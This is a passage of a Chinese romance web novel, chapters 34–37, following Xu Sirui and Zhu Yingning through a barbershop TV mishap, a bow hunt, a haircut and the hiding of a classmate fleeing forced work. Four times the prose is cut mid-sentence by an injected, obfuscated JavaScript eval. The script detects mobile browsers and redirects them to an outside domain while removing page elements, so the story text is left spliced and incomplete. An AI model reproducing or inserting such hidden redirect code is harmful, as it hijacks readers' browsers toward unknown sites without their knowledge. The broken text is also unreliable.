许思睿循声看过去,看到一个只在古装剧里见到过的算命先生模样的人从街道那头朝他们迎面而来,鼻梁上架着一副墨镜,身着粗布长衫,左肩扛一杆写着“周易”的旗子,右手摇铃,屁股后跟着一只癞皮哈巴狗,走得摇头晃脑,活像喝醉了酒。 祝婴宁皱起眉,小声嘟囔:“又来……” “谁啊?你认识?”许思睿好奇心大起。 “一个骗子。”她叹了口气,小声告诉他,“你等着,他马上就要过来说你有血光之灾了。” 34. 当众处刑 几乎是她的话刚说完那一秒,算命先生就快步朝他迎了过来,睁开一双醉眼朦胧的小眼睛,一惊一乍地说:“呀呀呀,呀呀呀呀,不得了啊!这位小弟,我看你印堂发黑,命中带煞,三个月内必有大劫,不得了不得了……” “……” 虽然提前被祝婴宁打过预防针了,但是听到这套熟悉得像是直接从电视剧里拷贝粘贴下来的坑蒙拐骗的话术,许思睿还是被震撼得失了声。 许正康始终贯彻落实着传统生意人的迷信,有事没事都会找大师算一卦,许思睿从小到大也算见过不少性格迥异身怀绝技的能人异士,但像这种一上来就说人家命里带煞的路边摊式算命方式,还是头一回见识。 他心里刚升起的那点好奇瞬间消弭了,无语地侧过身,对祝婴宁说:“走吧。” “欸,别走啊。”算命先生——不对,应该叫江湖骗子,江湖骗子见他们要走,着急忙慌追了上去,拦在许思睿面前,就差去扯他的衣袖了,“你以为我是骗子吗?小弟,我李某人拿我三十年的道士生涯担保,你这种面相我已经很长时间没见过了!三个月内……不,不用三个月,一个月内,一个月内你必有大劫!此劫与你家人息息相关,如若不破,往后余生都会受到殃及……” 许思睿本来没在意,左耳进右耳出,只当他在放屁,直到听到他提及自己的家人,甚至还咒起他们,这才有些恼了,正要骂人,就听祝婴宁脆亮的声音插了进来。 “你看看我的面相呢?” 那江湖骗子将视线一转,对准她的脸,细细打量了一番,过了五秒,惊奇地咦了一声,露出宛如见到鬼的神情:“不对呀……你怎么也印堂发黑?小妹,我观你面相,命里带煞,三个月内恐有大劫啊!” “?” 这话术居然连换都不带换的,许思睿在旁边听得目瞪口呆,连两个摄影师都憋不住笑了。 “你之前也是这么说的。”祝婴宁无情地揭露他。 “之前?”江湖骗子眼珠一转,“我给你算过?你记错了吧小妹。” “算过的,两年前你给我算过。” “真的?” “真的。” 骗子没想到她会这么诚恳地回句“真的”,一时语塞。 趁着这个功夫,祝婴宁给许思睿使了个眼色,示意他可以离开了。直到他们走出去老远,骗子都还杵在原地摸着下颌沉思。 “他精神有点问题,经常在这一带晃荡。”她点点自己的太阳穴,解释道,“不管碰见谁都是那套话术,你不用往心里去。” 许思睿哼笑了一声。他没怎么往心里去,就是觉得还挺神奇的。 “你们这还真是卧虎藏龙啊。”他说。 ** 发廊依然是那个发廊,今天他们到得稍晚,发廊已经开张了。 祝婴宁要去给祝吉祥打电话,许思睿决定先去剪头发。 上次来在门口打过照面的一个黄毛小哥过来服务他,问他想做什么项目,他打听了一下,发现这里的价格基本都在他的承受范围内,于是说:“先洗头吧。” 黄毛小哥将他带向洗头的躺椅。 躺椅是皮制的,许思睿躺上去以后发现靠近手指的地方破了几个洞,露出了里头黄色的海绵,很显然是之前躺在这洗头的客人手贱抠的。他对这个地区破破烂烂的设备已经有了抗体,直接闭眼无视了。 洗完吹头发的时候,黄毛小哥递给他一本同样破破烂烂并且边角发翘的发型参考,让他挑一挑。他翻开后随意扫了几眼,愣了愣,把杂志合上,缓了一会儿才再次打开,不可置信地瞪着里面的发型。 非要找出一个字形容的话,那就是土。 土爆了。 土得千奇百怪,人神共愤。 他抬起头,透过镜子看向身后黄毛小哥的发型,后知后觉这人的发型也很土。 虽说黄毛是发廊小哥的标配,但是黄毛也是有档次之分的,有些黄毛黄得别具一格,有些则像一丛枯草,从路边薅过来就直接插在头上了。 毫无疑问,身后这个黄毛就属于枯草的行列。 许思睿顿时产生了一股强烈的担忧。 黄毛小哥无知无觉,把头发吹到七八成干的程度,放下吹风机,问:“你想剪什么发型?” “我……”许思睿梗住了,沉默了良久,才说了一个最保险最没有技术含量的要求,“你按我原来的发型给我修短一点。” “行。”黄毛小哥抖开披肩给他围上。 才刚披好,店门口就闯进来一个风尘仆仆的新客人,嘴里叼着烟,大大咧咧道:“哟,今天这么早就有客人啦?” 黄毛小哥回头看了他一眼:“阿金还没来,店里现在就我一个,你先随便找把椅子坐着等吧。” “没事。”那人看起来是熟客了,随手拉开一把凳子坐下,“我先看看电视好了。” 被他这么一说,许思睿才发现这家发廊收银台顶端的天花板上挂着一台很小的电视机。 熟客轻车熟路找出遥控器,打开电视,开始选台。 许思睿坐的那个位置侧对着屏幕,要看电视只能把脑袋九十度别过去,很麻烦,也影响理发师发挥。他没有转头,只竖起耳朵听着声响,就当听广播了。 熟客打开新闻联播,观摩了一通世界格局,大约是觉得无聊,又调到CCTV5体育频道,看了会儿羽毛球赛。接着,背景音陆陆续续切换成《动物世界》、《喜羊羊与灰太狼》和《回家的诱惑》。一连换了好几个台,熟客才停下手上的动作,诧异地“咦”了一声。 透过镜子,许思睿看到熟客鬼鬼祟祟偏头瞄了他一眼。 一开始他只当这人对他的长相和装扮感到好奇,看完了就该有所收敛了,所以不甚在意。然而熟客大哥仿佛不知道礼貌二字怎么写,一眼还嫌不够,没过几秒,又偷偷摸摸地撇头看了他五六七八眼,眼神里带着越来越浓的探究意味。 许思睿被他看得很不爽,正想问他看什么看,就听到收银台上方的电视机传出了一个陌生又熟悉的问句: “欸!你这阿弟怎么回事啊?一个大男人,居然还要宁宁背你!” …… 全场死寂。 熟客嘴巴张成O型,眼珠飞快转动,左瞥一下右瞄一眼,露出吃瓜看好戏的神情。黄毛小哥动作一顿,没太搞清状况。被点到名字的祝婴宁则纳闷地放下话筒,退后几步,仰头看向了电视屏幕。 而许思睿,他像被雷劈到一样僵在原地,两耳嗡鸣,头脑眩晕。 下一秒,他听到自己趾高气扬的声音从屏幕里传出来—— “我脚崴到了,要他背一下怎么了?” 接下来的对话就像人死之前的走马灯,通过电视的传声孔,在许思睿耳边3D立体环绕,生怕他记不清这段黑历史似的。 “你……你脚崴到了也不能这样啊!” “他走不了路我才背他的,你们谁来搭把手,帮忙把他扶上去?” …… 最先反应过来的是黄毛小哥,他看了看电视屏幕,又看了看面前的许思睿,眼珠子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543207|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪得像要从眼眶里掉出来,接连“我去”了四五声,才找回语言功能,震惊地问:“电视里那个是你吗?” 然后是吃瓜的熟客大哥,他激动地挥舞着电视遥控器,手掌猛拍自己的大腿:“我就说这小弟看起来怎么和电视里这个人这么像!而且身后还跟着两个摄影师!还有这个小妹……哎哟我去,牛逼啊!牛逼!之前就听说有电视节目组在我们这录节目,好像是个什么什么综艺,就是他吧?是他吗?妹子,是你们吗?” 祝婴宁站得离他近,被他摇来摇去,不得不点了点头。杨吉没说今天是综艺的首播,也没说过这个综艺是边拍边播的,骤然在电视上看到自己的脸,她惊讶得有些说不出话。 黄毛小哥和熟客大哥也没比她好多少,两个人说出了两百人的气势,语无伦次,颠三倒四,一会儿说“我还以为这就是个地方小节目呢,没想到居然在省台播出了,我们这鸟地方居然真狗日的上电视了”,一会儿说“照这样说我是不是也算出镜了?操,那我岂不是要火了”。 等他们抒发完激动之情,好不容易平静下来,电视上刚好放到了临睡前那一幕,许思睿指着祝婴宁,气势恢宏地说:“我要他睡在我旁边。” “想都别想,我只接受他睡在我旁边!” “……” “……” 黄毛小哥和熟客大哥这才迟钝地留意到综艺本身的内容,纷纷侧目望向许思睿,露出了一言难尽的神情。 被他们的眼神凌迟着,许思睿总算从石化状态中解除,像一颗被人劈成两半的番茄,脸颊瞬间由白涨红,又由红转青,幻灯片一样快速切换,最后定格成一种姹紫嫣红的格局。 在他们说出诸如“看不出来你居然这么禽兽”“你还是不是男人了”的吐槽前,他咬了咬牙,出乎所有人意料,二话不说转身就走。 熟悉的展开,熟悉的风味。 两位摄影师生怕他又上演一出生死逃亡,大骂一声追了上去。祝婴宁愣了愣,也飞快跟了上去。 不过这回许思睿倒是没有像上次那样叛逆,他只是拐进了邮局,和工作人员沟通完,取出周天澜寄来的包裹,然后拿着包裹头也不回上了牛车。 “那个……” 祝婴宁想要说点什么,却又不知如何开口,生怕刺激到他破碎的自尊心。如果自尊心有实体,许思睿现在的自尊心一定是一堆玻璃渣子,不仅反光,还扎脚那种。 他坐在牛车上,脸上热度迟迟未褪,红得堪比发烧了——皮肤白就这点不好,羞耻和窘迫无处循形,但凡有点情绪变动,所有人都能一眼瞧出端倪,连遮掩的余地都没有。 冷场了片刻,他才说了句话。 “你说什么?”祝婴宁没听清。 “……我让你上去赶车。” “赶车?”她惊愕道,“你想回去了?回村里?” 他点点头。 “可我们才刚来镇上,你不想和你父母联系吗?刚刚我弟说他们有话想要告诉你。许思睿,其实……你真的没必要太在意刚刚电视里的内容,你是一个很好的人,我相信每一个坚持看完综艺的人最后都能感受到你的善良和……” “你再说一句试试?”他打断她的话,抬起眼帘,直勾勾盯着她。 不得不说,他真生气的时候还挺吓人的,瞳孔漆黑,黑到完全显示不出高光,像两口黑漆漆的井。 她当即噤了声,被他吓得大喘气都不敢,正犹疑着,就听他说:“再说我就自杀。” “……” 好吧,是她高估他了。 35. 弓箭 回到祝家村,许思睿依然恹恹的。祝婴宁倒宁愿他和之前那样撒泼大叫或者随意骂人,起码还能用句“活力满满”来形容,现在一言不发才像是被打击狠了。 刘桂芳问他们今天怎么这么早就回来了,她只好再次搬出那套含糊其辞的说法:“因为……一些原因。” “给你弟弟打电话了吗?” “打了。” “他说什么?在城里过得还好吧?” 祝婴宁于是细细地将祝吉祥告知她的那些话复述了一遍。 刘桂芳这才露出放心的表情,过了半晌,想起什么,对她说:“对了,早上七爷来过我们家,说你求了很久的那张弓今天可以借你用上一天。” “?!” 闻言她差点蹦起来,“他同意了?!那我现在就去找他!”人都跑到门口了,想起许思睿,回头看他依然坐在炕上一脸人生无望不如早死早超生的表情,干脆上前拉了他一把,“一起去吧。” “去干嘛?”他问得有气无力。 “打猎。” “?” 提起打猎,许思睿不可避免想起了自己崴到脚,想起崴到脚,又不可避免想起了电视上那段黑历史,他一脸吃了屎的表情,磨牙切齿道,“你什么意思,羞辱我?” “……不是。”她摆摆手,“哎呀,一句两句说不清,反正不是你想的那种打猎,你去看了就知道了。不是我夸大其词,你不看绝对会后悔的。” “你怎么知道我想的是哪种打猎?” “你想的肯定是地上挖坑那种呗。” “祝婴宁!”他恼怒大吼。 她赶紧捂着耳朵开溜了。 就在许思睿气得七窍生烟,发誓绝对不踏出家门半步时,外头忽然传来了一阵此起彼伏的尖叫。那尖叫含着三分惊讶,三分赞叹,三分崇拜,还有一分跃跃欲试,感情充沛而富有层次感,听得他瞬间忘了自己刚刚发过的誓,拧着眉毛走向了门口,朝声音的来源望过去,想看看外头在作什么妖。 一群小孩挤在村里一户人家的门槛上,似乎正在围观什么东西。 不一会儿,祝婴宁从里面出来了,手里握着一把长弓。 许思睿呆住了,将上半身探出窗户,眯眼仔细瞧了瞧。 那把弓比门槛边上围观的小孩还要高,弓梢很长,由硬木制成,弓臂面贴牛角,弦为筋弦,有明显弦垫。整把弓圆润修长,体量巨大,气势逼人。 是一把十分周正的清弓。 他之所以认得这玩意,还要感谢小时候父母给他报的五花八门的运动课,其中的弓箭课他学得不怎么样,不过为了积累装逼素材——就像对汽车如数家珍的人开车水平不一定有多高超——他记住了老师给他科普的一些弓箭,其中就有清弓。记住它的原因也简单,因为老师介绍时说清弓是中国冷兵器时代的巅峰。“巅峰”这种表述就算不刻意去记,也很容易在人类脑海里留下深刻印象。 但他只看过图片,没见过实物。 为了确保自己没有眼花,他很快冲出家门,来到了祝婴宁面前。 近距离看着,这把弓显得更有压迫感了。 “这是清弓?”他激动得险些控制不了语调,为了防止祝婴宁只听过其中一种名字,还特意把他所知道的清弓的其他别名也一口气说了,“满洲弓?满族弓?” “啊?”祝婴宁的表情看起来很呆,“那是什么?是这把弓的名字吗?” “……” 许思睿瞬间无语了,有种火苗刚窜起来就被她泼了桶冷水的无力感。 正相顾无言,屋子里就走出了一个驼背老头,对着他用方言叽里咕噜说了通话。 许思睿没听懂,倒是祝婴宁听完露出惊讶的表情,帮忙翻译道:“他说你很识货,这把弓确实是清弓。他说他祖上是乾隆钦定的制弓人,后来搬到新疆定居,又有不少后代从新疆搬迁到其他地方,他便是其中之一,他们这一脉现在只剩下他一个人会做这种弓箭了。” 许思睿心里熄灭的火苗复又燃烧起来,指着长弓不可思议道:“这把弓是他亲手做的?” 老头点了点头。 他惊愕不已。 来这这么久,这是许思睿心里第一次产生“有趣”的念头。不是面对枯燥重复的山村生活苦中作乐地挖掘乐趣,而是由衷感到震撼。 还想再请教点什么,就听祝婴宁说:“我要去打猎了,你去吗?” 许思睿的脑筋一时有点拐不过来:“你?拿着这把弓去打猎?” “对啊。”她理所当然地应道。 “可你连它叫什么都不知道啊!” 祝婴宁僵滞了片刻,好像确实被他的控诉震住了,垂头开始思考,过了足足五秒,她思考完毕,认真地问:“我确实不知道它的名字,不过,这影响什么吗?” 跟她被他的控诉震住一样,许思睿也被她的理所当然震住了,心想这当然有影响了,这完全是暴殄天物,是山猪吃不来细糠。 虽然没把这番侮辱人的话说出口,但跟着祝婴宁走去山里时,他心里还是难掩轻蔑,觉得将这把弓交到她手里实在是儿戏。她懂什么?她能发挥出这把弓的什么价值? 一直走到了山林里,她才停下脚步,站在他前头笑了一声:“许思睿,你好像特别不服啊。” 他愣了愣,矢口否认:“没有。” 正诧异她怎么突然变得这么敏锐,就听她说:“你已经在我背后第三次用鼻孔出气了。” 用鼻孔短促迅疾地哼了一声,这动作要么是鼻炎发作,要么是在表达轻蔑。 “……” 他有吗? 许思睿有点尴尬。 祝婴宁倒是没生气,只是平和地把弓递给他:“你可以拉开试试看,这把弓是四十磅的。” 四十磅并不重,许思睿玩玻片弓最高可以开到六十磅。他接过来,清弓拿在手里沉甸甸的。 “给我一支箭。” 她从箭匣里抽了一支递给他,顺带纠正了一下他的姿势。 出于一种自诩为内行人的矜高,他压根没有把她的话听进耳里,依照自己模糊的记忆里模糊的姿势便拉开了弓。 “这姿势容易被弦崩到胸……”她轻声提醒他。 许思睿瞪了她一眼,让她别打断他运气。由于疏于锻炼,再加上这把弓出乎他意料地沉重,他第一次没能顺利拉开,运了一口气后,第二次才成功开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这声音像定身符的解咒咒语,将他从头皮发紧浑身僵硬的状态中拽出来。听觉失而复归,蝉鸣鸟啼蛙声再次填满他的脑海,由于精神太过紧绷,他甚至紧张得剧烈耳鸣,腿也发颤,伸手扶住旁边的树木才勉强站稳。 抬头去看祝婴宁,她垂下了手臂,从他身边走过去,若无其事得好像刚刚拿箭指着他的人不是自己。 就在他想大骂点什么抒发一下自己差点被吓死的心情时,她已经熟练地把箭从他身后那棵树上拔了出来。许思睿转眸一看,发现箭身上竟然钉着一条蛇。 正中七寸。 “操……” 他惊呆了。 “放心,没毒的。”她以为他脸色苍白是因为害怕蛇,抓着蛇身慢悠悠解释道,“这种蛇在山里很常见,只是它刚刚盘在你身后那棵树上,我怕你回头会吓到,就先射死了。” “……” 许思睿哑口无言。 过了很久,他才张了张嘴,艰难道:“你不觉得你的箭比蛇更吓人么?我他妈刚刚还以为你想一箭崩了我的脑袋。” 她惊讶地看着他,好像不明白他为什么会产生这种想法:“我为什么要崩了你的脑袋?”顿了顿,又严肃地补充道,“杀人是犯法的。” 36. 艺术照 “麂子?那是什么?” “一种像鹿但是比鹿小很多的生物,不过我们不捕这个,今天主要是捕斑鸠。斑鸠的叫声容易分辨,而且蠢,行动比其他鸟迟钝,容易捕到。” “哦……” 一路走来,祝婴宁讲了许多山里的知识,并非特意科普,只是想到哪说到哪,有一搭没一搭,但许思睿第一次觉得她懂得还挺多的,不是书读得多那种多,而是生活常识和生活见闻丰富。 走着走着听到一阵鸟鸣,她摆了摆手,示意他说话小声点。 她轻手轻脚追去鸟鸣传来的方向,许思睿也跟着追了两步,但他很快发现他那双AJ踩在地上的动静很大——当然也可能是他走路姿势的问题,只是他更倾向于把锅甩到外界事物上。和祝婴宁敏捷的身手比起来,他笨重得像奥特曼世界里的怪兽,跟了两步就不太好意思继续跟去了,怕自己碍手碍脚,索性站在原地等待。 前方祝婴宁飞快往斜对角窜了几步,然后顺手攀到了邻近那棵树上。用“顺手”这个词是因为她确实是用手臂勾住树枝勾上去的,敏捷到让一旁观战的许思睿深刻意识到人类和猴子有共同的祖先。 他忽然有点想笑,又怕笑出来坏了祝婴宁的事,只好努力憋着。 不过很快,他就笑不出来了。 因为祝婴宁再次拉开了弓。 虽然刚刚已经见识过一次她开弓的姿势和气势,但是再看一次,这种震撼丝毫没有因为距离拉远或次数重复而减少半分。 她蹲在树杈上,呼吸放得格外长缓,黑瞳凝练,眼神专注到不太像人类,反而像某种未开化的纯然的山兽。 脑海中跃出这个描述的时候,许思睿微微有些吃惊。他想他知道祝婴宁像什么了。读《边城》时,有段写女主翠翠的句子令他印象深刻,说的是“翠翠在风日里长养着,把皮肤变得黑黑的,触目为青山绿水,一对眸子清明如水晶”,这段话也可以用来形容祝婴宁。但她不似翠翠那样软顺如江水的柔波,她更硬,更直,更呆板,她就像这座山,山上硬邦邦的一块岩石,石脚长着细小苔花。 她瞄准的那只斑鸠,许思睿甚至看不清它在繁密树冠上的位置。 可三秒后,她松开手指那一刻,他坚信箭头所指的方位一定存在一只斑鸠。 咻的一声。 箭头势如破竹没入树冠,钉入斑鸠的胸脯。 ** 带着猎物回到村里,驼背老头守到村口,看到他们,很小气地就要将弓箭要回去。 “我阿妈说你答应借我一天。” 祝婴宁用方言和他据理力争,许思睿没听懂,但他看懂了驼背老人举起拐杖在祝婴宁腿上敲了一拐的意思,意思简洁利落——滚。 于是他们滚了。 滚到家里,刘桂芳迎上来,问他们都打了什么,祝婴宁递上手里的斑鸠和蛇,她显得有些失望:“怎么没打只麂子过来?” 她努了努嘴,避而不谈。 等刘桂芳拿着这些东西去厨房料理了,许思睿才看向祝婴宁:“对啊,所以你为什么不打麂子?” 他还挺想见识一下这玩意长什么样的。 祝婴宁看了他一眼,轻轻叹了口气:“野生小麂被划为保护动物了。” “啊。”许思睿呆愣两秒,略感吃惊,“原来你们打猎还会在意保护动物?我还以为你们连人命都不在意呢,不然没事干嘛往地上挖个大坑。” 面对他的阴阳怪气,祝婴宁只是白了他一眼。 她走去书桌前整理作业,许思睿看了眼自己放在书桌桌脚旁那包未拆封的快递件,一时有些迟疑。 里面装的是周天澜寄给他的学习资料,他想拿给祝婴宁,又不知道以什么由头怎么开口。 直白地施予好意完全不是他的强项。 正暗自纠结着,书桌前的祝婴宁忽然回过头,看着他,欲言又止道:“对了,你的头发……” 他回看过去,没反应过来:“我头发怎么了?” “……原来你自己不知道吗?”她挠挠脸颊,拿起书桌上一个小镜子,对准他的脸。 她这反应让许思睿心脏猛一沉,僵硬着身体凑近一瞧,就见自己原本很正常的刘海现在居然一半长一半短,像被牛啃了一样。 祝婴宁握着镜子,看着对面许思睿逐渐变成死灰的脸,干巴巴笑了两声,小声解释道:“我以为你自己知道,所以才没有提醒你……其实……你从理发店里跑出来的时候,刘海就已经被发廊小哥剪了一缕了。” “……” “……” 他们沉默地对视着。 许思睿慢慢直起僵直的脊背,眼神麻木:“所以我就顶着这个发型走了一路。” 她继续沉默着,没敢说话。 “黄历上是不是写着今天不宜出门?”过多的刺激已经让他麻木了,即使知道自己顶着这个丑发型被相机拍了一路,他心里也只有一种无语到想笑的感受。 这句话本来只是随口说的一句吐槽,听过就算了,结果她居然真的走去看了看黄历,认真地说:“不是啊,黄历只写了今天不宜婚嫁。” “我靠。” 许思睿瞪着她,那种无语到极致的心情被她莫名其妙的举动推到了顶峰,他实在没忍住,唇瓣动了动,和她对视一眼,同时笑了出来。 两个人再次跟神经病一样笑成了一团。 最后好不容易停了下来,她扶着笑得发疼的肚子,拿起书桌上的剪刀:“所以你那头发怎么办啊,我给你处理一下?” “你?”许思睿才笑完,掐着腰站在原地,气喘吁吁,一个没忍住,又露出了一种轻蔑的居高临下的神情。 她解释说:“我的手艺专业谈不上,但还算凑合,我弟弟的头发都是我剪的。” “你弟弟的头发长什么样?” “呃……” 这是一个好问题。 祝吉祥不在此地,口头描述又描述不精准,祝婴宁想了想,拉开书桌底下的柜子,从里面翻出一本相簿:“这是我弟弟之前拍过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许思睿皱了皱眉,还想再说点什么,一抬头,她已经把锋利的剪刀怼到他眼前了。 “喂喂喂!”他下意识往后退了退,“我说你做事情之前能不能给人点心理准备?” 她不解地看着他:“剪个头发要什么心理准备?” “反正就是……你别突然把锋利物品朝着我,很危险啊!” 她可能觉得他说的有理,思考了一会儿,哦了一声,点点头说:“我知道了。”冷场了五秒,她指着手里的剪刀,问他,“那你现在准备好了吗?我要把锋利物品朝着你了。” “?” 许思睿没憋住笑了一下,“祝婴宁,你这人真是……” 他笑的时候,她已经弯腰凑了过来。虽然这回提前预告了,但她做事情有种和别人不太一样的节奏感,每件事都开始得很快很突兀。当她的脸超近距离凑到他面前时,他瞬间噤了声,坐姿微微一僵。 她的眼睛在他面前无限放大。 37. 偷人 依照许思睿的审美,他一直觉得眼睛必须得双眼皮才好看,祝婴宁的眼睛无疑非常不符合他心目中好看的标准,因为她是毫无歧义的单眼皮。可现在近距离瞧着,他忽然发觉单眼皮也有单眼皮的风味,由于眼皮线条简单凌厉,能让人把视线焦点更加聚集到瞳孔上,显得瞳仁很大,乌黑,圆钝,纯粹,有一种沉甸甸的量感在里面。 他盯着她的眼睛,距离近到甚至能数清她眼睛上的睫毛。 ……还挺长挺密的。 耳根莫名有点发烫,他使劲睁大眼睛瞪着她,好像只要敢于和她对视,就能证明他心里完全没有鬼。 瞪了几秒,专注于他刘海的祝婴宁终于忍不住把眼珠转了转,看向他的眼睛,问:“你一直看着我干什么?” “你就站我前面,我不看你还能看谁?” 许思睿说完以后简直要为自己拍手叫好,多么理直气壮天衣无缝的回答。 但他说完以后,她立刻用一种注视傻子的眼神垂眸看着他,张了张口,叹道:“……好吧,不过我还是第一次见到剪刘海不闭眼,还把眼睛瞪这么大的人,你不怕头发戳眼睛啊?” 许思睿被她噎了一嗓子,恼羞成怒,红着脸颊点头硬撑:“对,我就是喜欢那种头发戳进眼睛里的酸爽的感觉,不行?” “……” 她表情就像在说你开心就好。 等她再次弯腰替他剪起头发,他却再也不像自己说的那么淡定了,眼神瞥来瞥去,左看一下,右看一下,瞄见角落里的包裹,福至心灵,顺势开口道:“那个,谢谢你给我剪头发,角落那个包裹就当给你的谢礼了。” “谢礼?”她有点吃惊地朝后瞟了一下,“那不是你妈妈寄给你的东西吗?” “是,但是……”许思睿不想解释清楚,他有一种这个年纪的男孩特有的一解释真心就会感到窘迫尴尬的通病,牙齿咬了咬口腔内壁的肉,含糊道,“反正你自己看了就知道了。” 等剪完头发,许思睿拿着书桌上那个镜子三百六十度端详祝婴宁有没有哪里给他剪残了的时候,她弯腰蹲到了包裹边,拿着给他剪完头发的剪刀拆起包裹。 他用余光瞥见,莫名有些紧张。 等把包裹拆开了,她从里面摸出一叠练习册,轻轻“啊”了一声,表情很是迷茫。 她翻了翻,首先留意到这些练习册基本都是许思睿写过的,心里默默琢磨他是什么意思,难道想让她帮他写作业?不至于吧…… 直到仔细看了看里面的习题,才恍然大悟,又“啊”了一声,这次“啊”得更加跌宕起伏真情实感,表情随之一亮:“这些都是借给我的?” “不算借吧。”许思睿别扭地移开视线,“你要是不嫌弃,而且觉得好用,直接拿去用就好,我再买新的很容易。” “啊!” 她又发出了咏叹调般的感慨。 许思睿被她这声嘹亮的“啊”吓了一大跳,差点把手里的镜子摔了。 “你除了‘啊’是没有别的词了么?” 她完全没在意他的调侃,脸颊兴奋得红扑扑的:“许思睿,你太够意思了,真的!太谢谢你了!” ** 从拿到练习册开始,祝婴宁别的事都不干了,往书桌上一趴就开始昏天黑地地学习,从周日学到周一,升旗的时候嘴里还念念有词,表现得像个书呆子。 直到早读结束,陈斌进来提醒她收下周末的作业,她才从如痴如醉的状态中解脱出来,起身开始收作业。 收到周丽这一组时,她发现周丽的座位空着,问她的同桌是什么情况,她同桌说:“我也不太清楚,反正陈老师说她不来了。” “不来了?” 周丽算是他们班的上学困难户,她爸爸不愿意她上学,觉得女孩读个小学文凭能识数就差不多了,总是动辄找借口把她拘在家里干农活,时不时就要闹一出辍学警告。不过每一回,只要祝婴宁和陈斌上门做番思想工作,周丽爸爸都会骂骂咧咧放人回来。所以这次,她自然而然以为也是相同的情况,轻叹口气:“那我放学去她家看看吧。” 周丽同桌嗫嚅道:“班长,陈老师让我告诉你,这次别管了。” “为什么?”她一愣。 “我也不知道,他反正是这么说的。” 她百思不得其解,抱着收好的作业去到陈斌办公室时,忍不住向他问起这件事。 陈斌闻言,也叹了口气,把眼镜摘下来,抽了张纸巾擦拭镜片,语重心长地说:“婴宁,老师知道你善良,不过,尽人事听天命,这回咱是真的没法尽人事了,天命如此啊。” 她还是没听懂:“为什么?周丽到底怎么了?” “她辍学了。” “为什么要辍学?” 陈斌知道这小孩实心眼,你不跟她说,她就会一直问,只好如实道:“她出去打工了,她哥哥要结婚,拿不出彩礼,女方不肯嫁。周丽爸一琢磨,决定把周丽送出去打工,给她哥赚点彩礼钱,所以就辍学了。刚好周丽有个堂姐,在城里干美容美发行业,干得风生水起,最近回家探亲,今儿回城,周丽就跟着她堂姐走了。” 祝婴宁以一种空白的表情站在原地怔愣了许久,才问:“她是什么时候走的?” “我昨晚还去了趟她家做思想工作,她爸说今天走,现在估计已经出发了吧。” “今天走……”她嘴里念念有词,“今天走,那就是还来得及。老师——”她抬眼看向他,“我要跟你请一天假。” 陈斌教了她这么久,怎么可能不知道她在想什么,当即就拒绝道:“不行!” ** 第一节课的铃声响起后,趴在桌子上睡了一整节早读的许思睿这才迷迷蒙蒙醒了过来,揉着脖颈打了个懒散的哈欠,余光发现祝婴宁没在座位上,有点震惊。她是那种上课刚响就得立马走回座位坐好的人,现在铃声都响完了,居然还不在,怪事啊。 更怪的是走廊居然还有人趴在栏杆上兴高采烈喊着什么,什么“快跑”“快追”的,听声音还挺激动。反正闲着也是闲着,有热闹不凑是傻子,他从座位上站起来,插着兜懒洋洋晃了过去,靠在栏杆上朝下看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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事到如今,许思睿已经非常熟悉她做坏事心虚的表情,闻言眉头一蹙:“你干了什么,你打人了?等等,你该不会把我东西弄脏了吧!?” “不不不!怎么可能。”她矢口否认,摇头摆手道,“我怎么可能弄脏你东西。我想说的是……那个……你知道吧,周丽的事。” 他狐疑地眯眼打量她:“今天在学校听说了,怎么了?” “我今天追去她家时,在路上拦下了她,问她是不是真的不想读书了,她抱着我哭了半天,说还想继续读书,还说她那个堂姐从事的不是正经美容美发行业,而是那种拉皮条的生意,她很害怕,一点都不想去。所以……你知道的,她很可怜,很需要帮助。” 许思睿越听越防备:“你到底想说什么?” “我就是想说,她无处可去,回家的话又会被她爸爸打骂,所以……”她慢慢让开到一旁,露出了躲在里面探头探脑的周丽,“我把她偷偷带家里来了,你千万别告诉别人啊。”